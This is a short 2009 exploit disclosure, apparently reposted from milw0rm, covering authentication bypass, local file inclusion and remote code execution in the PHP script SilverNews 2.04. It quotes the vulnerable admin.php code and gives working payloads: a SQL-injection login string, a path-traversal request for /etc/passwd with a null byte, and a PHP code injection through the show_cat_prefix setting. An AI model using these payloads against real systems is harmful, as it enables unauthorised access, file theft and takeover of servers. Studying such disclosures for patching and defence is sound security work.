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SilverNews 2.04 (Auth Bypass/LFI/RCE) Multiple Vulnerabilities

🗓️ 06 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

SilverNews 2.04 (Auth Bypass/LFI/RCE) Vulnerabilitie

Code

                                                #########################################################################################
[0x01] Informations:

Name           : SilverNews 2.04
Download       :
http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en
Vulnerability  : Auth Bypass\LFI\RCE
Author         : x0r
Contact        : [email protected]
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	// Get the user information from the database
	$getinfo = $sql->query("SELECT password, username, id FROM
sn".$sql->prefix."_user WHERE username = '".$_POST['username']."' AND
password = '".$_POST['password']."'");
	$info = $sql->fetch_array($getinfo);
...

	// If "act" isn't set the user will be sent to the homepage.
	if (!$_GET['act'] AND !$_POST['act'] AND !$_GET['section'])
	{
		$_GET['section'] = 'home';
	}

	require "admin/header.php";

	if (file_exists('admin/'.$_GET['section'].".php"))
	{
		require 'admin/'.$_GET['section'].'.php'; #LFI
	}
	else
	{
		$admin->error('Datei konnte nicht gefunden werden!');
	}

	require "admin/footer.php";
[/code]

#########################################################################################


#########################################################################################
[0x03] Exploit:

Exploit: username: ' or '1=1
         password: x0r

LFI: admin.php?section=../../../../../../../../../../etc/passwd%00

RCE:
So we can bypass the admin login and then go to admin/settings.php and put your
evil code ^^ ex: 'show_cat_prefix' => $_POST['show_cat_prefix'], in the sho_cat_prefix we
put: x0r'; echo 'lol   --> /data.inc.php

########################################################################################

# milw0rm.com [2009-02-06]

                              

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